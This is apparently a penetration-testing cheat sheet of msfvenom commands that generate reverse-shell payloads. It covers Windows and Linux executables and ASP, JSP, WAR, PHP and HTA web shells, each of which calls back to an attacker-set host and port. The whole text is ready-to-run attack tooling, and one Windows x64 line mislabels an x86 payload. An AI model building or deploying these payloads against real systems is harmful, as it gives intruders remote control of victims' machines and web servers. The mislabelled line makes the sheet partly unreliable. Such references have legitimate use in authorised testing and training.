Here are some of the popular payloads created using msfvenom,
Windows
Staged Meterpreter
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Stageless Meterpreter
msfvenom -p windows/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Staged Non-meterpreter
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Stageless Non-meterpreter
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe
Linux
Staged Meterpreter
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
Stageless Meterpreter
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
Staged Non-Meterpreter
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
msfvenom -p linux/x64/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
Stageless Non-Meterpreter
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x64.elf
Web Payloads
Meterpreter
The output format for each line are asp, jsp, war and php.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > example.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > example.war
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
Non-Meterpreter
The output format for each line are asp, jsp, war and php.
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php
msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f hta-psh -o shell.hta
If the file is hta, then based on the operating system you may have to create a x64 or x86 file for reverse shell.
Other Resources
https://github.com/ksanchezcld/Hacking_Cheat_Sheet/blob/master/msfvenom
